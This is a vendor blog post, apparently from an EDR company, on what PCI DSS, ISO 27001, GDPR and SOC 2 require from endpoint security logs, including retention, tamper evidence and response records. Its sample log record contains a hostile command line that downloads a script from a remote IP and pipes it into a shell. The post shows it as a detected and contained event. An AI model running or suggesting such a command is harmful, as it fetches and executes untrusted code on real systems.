Compliance and EDR: what your security logs must prove

Compliance audits have a way of exposing the gap between “we have an EDR” and “we can prove our EDR did what it was supposed to.” They are different things. The first is a purchasing decision. The second is an evidence problem - and your security logs either solve it or they don’t.

This post walks through what the major compliance frameworks actually require from endpoint detection and response tooling, what auditors look for, and what to watch out for when your current platform can’t produce the evidence.

What compliance frameworks demand from endpoint logs

The specific requirements vary by framework, but the underlying theme is consistent: you need to show that you knew what was happening on your endpoints, when you knew it, and what you did about it.

PCI DSS v4.0 (Requirement 10) mandates audit trails for all access to cardholder data environments, including system-level events. Logs must be retained for at least 12 months, with three months immediately available for analysis. Process execution, file access, and network connection events on in-scope systems all count. Gap: many EDRs cap their telemetry window at 30 or 90 days and charge extra for longer retention.

ISO 27001:2022 (Control A.8.15 - Logging) requires organisations to protect log files against tampering and loss. An auditor will ask not just “do you have logs?” but “how do you know they haven’t been modified?” Integrity protection on audit trails is often documented nowhere in a vendor’s architecture guide.

GDPR / UK GDPR introduces a different angle: you must be able to demonstrate containment and notification within 72 hours of discovering a personal data breach. That puts a premium on detection timestamps, response action records, and the ability to reconstruct what happened on a given endpoint at a given time - the forensic reconstruction capability that differs widely between platforms.

SOC 2 Type II (Security availability and processing integrity criteria) requires evidence that controls operated effectively over the audit period - typically 6 to 12 months. Point-in-time screenshots won’t satisfy an auditor. You need continuous telemetry with timestamps, and records of any alerts generated and how they were handled.

What your logs actually need to capture

Getting compliance-ready isn’t just about switching retention to “on.” The quality and completeness of what gets logged matters as much as how long it’s kept.

At minimum, a compliance-grade EDR log record should include:

{
  "event_id": "evt-a7f3b2c1",
  "timestamp": "2026-08-27T14:32:18.421Z",
  "endpoint_id": "host-prod-db-03",
  "event_type": "process_exec",
  "process": {
    "pid": 4821,
    "name": "bash",
    "cmdline": "bash -c 'curl http://203.0.113.44/x | sh'",
    "parent_pid": 4810,
    "parent_name": "sshd"
  },
  "user": "deploy",
  "alert_id": "alert-cc2918",
  "alert_severity": "high",
  "response_action": "contained",
  "response_timestamp": "2026-08-27T14:32:21.003Z",
  "analyst": "soc-operator-02"
}

The fields that auditors most frequently find missing: response_action, response_timestamp, and analyst. Detecting a threat and logging the process exec is table stakes. The compliance question is: who saw it, when did they act, and what did they do?

The tamper-evidence problem

ISO 27001 and SOC 2 both care about log integrity. If an attacker (or a compromised insider) can modify or delete log entries, your audit trail is worthless as evidence.

The answer isn’t just access controls on the log store - those can be bypassed. Cryptographic chaining, where each log entry’s hash includes the previous entry’s hash, means any deletion or modification breaks the chain and is detectable. This is the same principle behind audit logs in financial systems and healthcare.

When evaluating an EDR for compliance use, ask the vendor directly: can your agents or admin console users delete or overwrite log entries? Can you prove a log record hasn’t been altered since it was written? The answers reveal whether the platform was built with audit integrity in mind or bolted on afterward.

What to watch for in your current platform

A few practical checks worth running before your next audit:

Retention gaps. Pull a list of all endpoints and cross-reference the oldest telemetry record for each. Any host with a shorter history than your compliance requirement is a gap that needs explaining.

Response record completeness. Find ten alerts from three months ago. For each one, can you reconstruct: who was notified, when they acknowledged it, what the triage decision was, and what action was taken? If the answer requires digging through Slack archives or ticketing systems rather than the EDR itself, that’s a workflow gap auditors will notice.

Alert suppression and tuning records. When you tune a detection rule or suppress a noisy alert, is there a record of that decision with a rationale and a timestamp? Auditors sometimes ask why alerts stopped appearing - “we tuned it” needs to be a logged decision, not a verbal answer.

Multi-tenant log isolation. For MSSPs running a shared platform: can you produce a per-client log export that contains only that client’s data, with no cross-contamination? Data residency and isolation requirements under GDPR make this a real question, not a hypothetical.

---

Compliance isn’t the most exciting reason to evaluate your EDR, but it’s often the most consequential. A platform that detects threats but can’t prove it did - with tamper-evident records, response timestamps, and analyst attribution - leaves you exposed when an auditor or a regulator asks for evidence.

If you’d like to talk through LightEDR’s approach to audit logging and retention, get in touch with us.